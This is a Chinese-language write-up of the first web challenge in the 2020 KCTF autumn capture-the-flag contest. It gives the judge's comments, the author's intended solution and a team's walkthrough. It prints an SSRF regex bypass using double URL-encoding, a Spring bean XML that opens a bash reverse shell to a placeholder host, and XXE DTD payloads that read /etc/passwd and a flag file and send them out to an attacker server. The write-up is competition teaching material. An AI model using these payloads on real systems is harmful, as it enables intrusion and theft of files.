2020 KCTF秋季賽 | 第一題點評及解題思路

Editor發表於2020-11-20

2020 KCTF秋季賽 | 第一題點評及解題思路


在經過2天緊張激勵的比拼後,第一題歷時2天,最終落下帷幕,並於今日(19號)中午12點正式關閉攻擊通道。


2020 KCTF秋季賽 | 第一題點評及解題思路


此題共有5366人圍觀,並在開賽後的9小時左右,由ReZero戰隊奪下首旗,獲取一血額外加分。xtgo戰隊也緊隨其後,逆襲第二名。截止賽題關閉,累計共有24支戰隊攻破成功!恭喜!


2020 KCTF秋季賽 | 第一題點評及解題思路


接下來讓我們一起來看一下這道題的設計思路和詳細解析吧。


2020 KCTF秋季賽 | 第一題點評及解題思路一.題目簡介


第一題:至暗時刻


“距離x-63892號黑洞進入地球軌道還剩48小時47分24秒。請收到邀請函的公民攜帶您的電子ID卡有序登船,破曉將於12小時後起航。”

伴隨著廣播裡機械的電子女聲,跳動著紅光的字幕不斷在樓宇的大螢幕上滾動播放著。端著槍的武警組成層層人牆試圖壓制暴動的人群,但還是不斷有人朝著“破曉”的艙門湧來。

地平線上最後的那一絲光亮似乎也將轉瞬即逝,人們互相擁抱著,痛哭著,與自己深愛的人做最後的告別,整座城市都籠罩在夕陽的餘暉中。

突如其來的災難留給人類的時間並不多。一週前“破曉”匆忙竣工,飛船的最大容載量僅為全人類的1/4。除了各國政要、科研專家、商業大鱷等社會上層人士擁有優先登上飛船的權利,普通人要獲得登船資格十分困難。

超級AI計算機Norns會基於其全球最龐大的資料庫,對申請者進行包括身體素質、智力、對社會貢獻等方面的審查,並通過智慧演算法篩選出基因最優質、存活可能性最高的人類,擇優發放可以登上“破曉”的電子邀請函。

雖然你並未收到邀請函,但這對曾在國家網路安全域性任職、擁有頂尖黑客技術的你來說,並不是什麼難事。

偽造一封你的電子邀請函,搶在“破曉”起航前取得上船資格吧!

[說明:一道Web題]


2020 KCTF秋季賽 | 第一題點評及解題思路 二.出題團隊簡介


2020 KCTF秋季賽 | 第一題點評及解題思路


2020 KCTF秋季賽 | 第一題點評及解題思路三.看雪評委點評


點評由 看雪論壇[CTF對抗]版主 netwind  提供。

本題作者設計了一個通過SSRF漏洞進行利用攻擊的WEB題目,SSRF漏洞作為發起對內網滲透的一塊敲門磚,深受廣大滲透測試人員的歡迎。

作者原定題目設計思路是通過SSRF漏洞結合內部框架的命令執行漏洞來獲得SHELL,然後拿到flag,這是當下較為流行的一種針對WEB框架的攻擊手法,考察大家對WEB漏洞的熟練掌握和利用能力,題目設計非常具有實戰意義。

不過在作者設計思路之外,有參賽者完全通過XXE漏洞讀取java程式呼叫記錄找到關鍵檔案,最後讀取到了flag。題目設計的非常精彩,攻擊方解題思路也非常精彩,只要基礎紮實,對漏洞理解以及掌握得比較熟練,在攻防對抗中總會有意想不到的收穫!


2020 KCTF秋季賽 | 第一題點評及解題思路   四.設計思路

設計思路由作者 香草0x00 提供。


本文檢視原始碼可發現兩個關鍵的連結,其中一個是:
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg

直接開啟該連結顯示出了圖片的原始碼,很容易想到的是ssrf漏洞,或者任意檔案下載?

但是修改http://121.36.145.157:8088/getimage?url=https://www.baidu.com

2020 KCTF秋季賽 | 第一題點評及解題思路

明顯是需要繞過上面的常用作限制域名的正規表示式。

我們再看第二個連結:http://121.36.145.157:8088/loadConfig?url=x.xml

2020 KCTF秋季賽 | 第一題點評及解題思路


IP不被允許,這種配置檔案猜測可能只允許本地iP訪問。

那麼結合兩個連結,猜測是需要繞過第一個SSRF的限制訪問127.0.0.1,然後載入第二個連結就像這樣:
http://121.36.145.157:8088/getimage?url=http://127.0.0.1:8088/loadConfig?url=x.xml

那麼我們怎麼繞過第一個正則執行SSRF呢?

這裡需要用到httpclient3的一個小BUG吧,暫且算BUG吧,就是在解析URL的時候對URL編碼的處理上的問題。

關於這個我之前在知識星球上有發過,只是不知道看到的人有多少。

https://t.zsxq.com/AYVzbYF

最終結果就是:

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=x.xml


2020 KCTF秋季賽 | 第一題點評及解題思路


檔案當然是不存在的,這裡不要想當然地認為這是一個任意檔案讀取,注意看報錯的最後的語句:

2020 KCTF秋季賽 | 第一題點評及解題思路

看到FileSystemXmlApplicationContext是不是很熟悉,記得去年weblogic有個漏洞的繞過就是利用了這個函式,載入了遠端的惡意xml配置檔案,導致反射程式碼執行。因此可以構造如下遠端XML:

<?xml version="1.0" encoding="utf-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean  init-method="start">    <constructor-arg>       <list>         <value>/bin/bash</value>  <value>-c</value>   <value><![CDATA[bash -i >& /dev/tcp/x.x.x.x/8080 0>&1]]></value>     </list>  </constructor-arg> </bean></beans>

訪問:

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.com/x.xml

反彈shell:

然後在home目錄下找到springboot的jar包,想辦法下載回來,反編譯即可得到flag.txt。

當然題目到這裡就完成了,我提一個更加有挑戰的事情,就是如何在這樣的情況下拿到webshell。

因為如果我把flag放到資料庫裡面,沒有webshell還是很難搞的,或者直接禁用系統命令的呼叫,這時候是不得不拿webshell的。

這裡需要解決兩個問題:1、xml配置檔案如何執行任意程式碼2、springboot無檔案落地webshell

既然大家已經得到了springboot的jar包,自己部署起來測測看吧!當然是能做到的。加油!


2020 KCTF秋季賽 | 第一題點評及解題思路五.解析過程

解析過程由作者 xjklewh 提供。

Hello 大家好,我又來寫Web題目的WriteUp了,抱著春季賽web題目=打卡題的心態我就來了,誰曾想到秋季賽的題目如此變態。從中午12點到晚上七點半就起來上過一次廁所,再沒離開過電腦。要不是xtgo五虎將全軍出擊,不然這道題我就只能繼續奮發圖強(shan ku pao lu)了。 OK言歸正傳開始解題:

1、題目描述


一道Web題,訪問連結:http://121.36.145.157:8088/ 利用技術繞過限制,獲得flag.txt檔案中的值。

2、初窺門徑


首先訪問域名發現,誰給kctf首頁的圖偷來了……

2020 KCTF秋季賽 | 第一題點評及解題思路

開啟抓包工具看看剛好發現有個備註彩蛋:
2020 KCTF秋季賽 | 第一題點評及解題思路

訪問彩蛋http://121.36.145.157:8088/loadConfig?url=x.xml,可以看到介面有IP限制,目測介面的功能可能是載入伺服器上的某些配置檔案:

2020 KCTF秋季賽 | 第一題點評及解題思路

遇到了IP限制當然要試一試XFF:
2020 KCTF秋季賽 | 第一題點評及解題思路

結果就是這道題的考點不是XFF,header全加上也沒用,還是提示" not allow ip"。

接著看下剛才訪問首頁下載圖片的第二個介面:
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg

2020 KCTF秋季賽 | 第一題點評及解題思路

看到url中的 ?url=http://xxx 一下就來了精神,配合剛才限制IP的介面,肯定是SSRF了,改一下跳轉的url地址到某度,發現跳轉地址有正規表示式限制,剛好也返回了過濾規則:

2020 KCTF秋季賽 | 第一題點評及解題思路分析下正則核心的三個條件:
1、一級域名必須為看雪域名 pediy.com
2、二級域名可以填寫除?$/三個符號的任意內容
3、path不做任何限制

3、整理思路


通過前一步的資訊收集和題目理解,大致的攻擊思路為:

1、繞過getimage介面的過濾規則

2、繞過後通過SSRF訪問loadConfig介面

3、通過loadConfig嘗試訪問伺服器上flag.txt檔案

4、發起進攻


首先將getimage介面中跳轉URL的二級域名和path替換:

2020 KCTF秋季賽 | 第一題點評及解題思路

發現提示無效的埠號,並沒有提示正則錯誤,那就對整個域名進行兩次轉義替換(瀏覽器和伺服器接到引數後都會預設進行一次decode,所以需要進行兩次encode):

http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=x.xml

成功繞過正則限制,出現異常回顯:

2020 KCTF秋季賽 | 第一題點評及解題思路 
本以為今天的活動到此結束,誰知道這只是開始…… 訪問/flag.txt發現沒有找到此檔案,然後嘗試讀取/etc/passwd發現這個java介面只能接收xml document:

2020 KCTF秋季賽 | 第一題點評及解題思路  

怪不得前面的彩蛋提示是x.xml,原來是暗示傳入一個xml檔案,既然是xml那隻能想到XXE漏洞。使用XXE則必須將注入的xml放在公網,SSRF跳轉時可被訪問到,先寫個test.xml驗證一下XXE確實存在。

 test.xml

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

公網測試:

2020 KCTF秋季賽 | 第一題點評及解題思路

注入介面:
http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=http://ip:port/test.xml

2020 KCTF秋季賽 | 第一題點評及解題思路

 
發現報錯回顯不一樣了,XXE看來有戲,構造訪問檔案的xml和dtd(涉及到ip:port的地方請自行替換成自己的伺服器地址)

xxe.xml

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % ext SYSTEM "http://ip:port/xxe.dtd">    %ext;]><message></message>

xxe.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">%eval;%error;

在dtd中先訪問/etc/passwd ,成功獲取到passwd的文字內容:

2020 KCTF秋季賽 | 第一題點評及解題思路 
接下來是最心塞的一步,尋找flag.txt,大家一起找了幾個小時。不過最終功夫不費有心人,通過/proc/self/maps檔案找到java程式的呼叫記錄,成功獲取到jar包儲存的路徑和檔名 /home/vip-demo-0.0.1-SNAPSHOT.jar。

2020 KCTF秋季賽 | 第一題點評及解題思路 
最後一步通過jar:和file:協議訪問jar包中的flag.txt。

參考XXE注入,xxe.dtd

<!ENTITY % file SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">%eval;%error;

成功在異常中獲取flag!congratulations!

2020 KCTF秋季賽 | 第一題點評及解題思路


2020 KCTF秋季賽 | 第一題點評及解題思路

現在第二題已經開放,快來繼續挑戰自己吧!

越早提交答案,得分越高哦!
立即掃碼加入戰鬥!

2020 KCTF秋季賽 | 第一題點評及解題思路

華為全面屏智慧電視、Xbox One X、JBL 無線藍芽耳機等你來拿哦!

2020 KCTF秋季賽 | 第一題點評及解題思路 

相關文章